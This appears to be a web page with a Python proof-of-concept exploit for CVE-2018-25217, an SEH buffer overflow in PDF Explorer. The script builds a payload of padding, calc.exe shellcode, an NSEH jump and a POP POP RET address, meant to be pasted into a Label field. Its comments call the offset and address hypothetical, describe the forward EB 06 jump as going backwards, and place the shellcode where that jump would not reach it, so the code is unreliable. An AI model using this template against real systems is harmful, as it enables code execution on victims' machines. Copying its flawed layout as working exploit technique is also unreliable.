CVE-2018-25217 PDF Explorer SEH溢出漏洞

import struct # PoC for CVE-2018-25217 PDF Explorer SEH Overflow # This script generates a malicious string to trigger the vulnerability. def generate_exploit(): # Offset to overwrite SEH (Hypothetical value based on typical SEH pattern) offset = 4064 # NSEH jump instruction: pop pop ret -> short jump 6 bytes back nseh = b"\xEB\x06\x90\x90" # SEH Handler address (POP POP RET from a non-ASLR module) # Address is illustrative; needs to be valid for the specific PDF Explorer version seh = struct.pack('<L', 0x1001A201) # Shellcode (calc.exe for demonstration) shellcode = b"\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0" # Padding to fill the buffer padding = b"A" * (offset - len(shellcode)) payload = padding + shellcode + nseh + seh + b"C" * 500 return payload if __name__ == "__main__": exploit = generate_exploit() print(f"[+] Generated Exploit Payload Length: {len(exploit)}") # In a real attack scenario, this payload would be copied into the Label field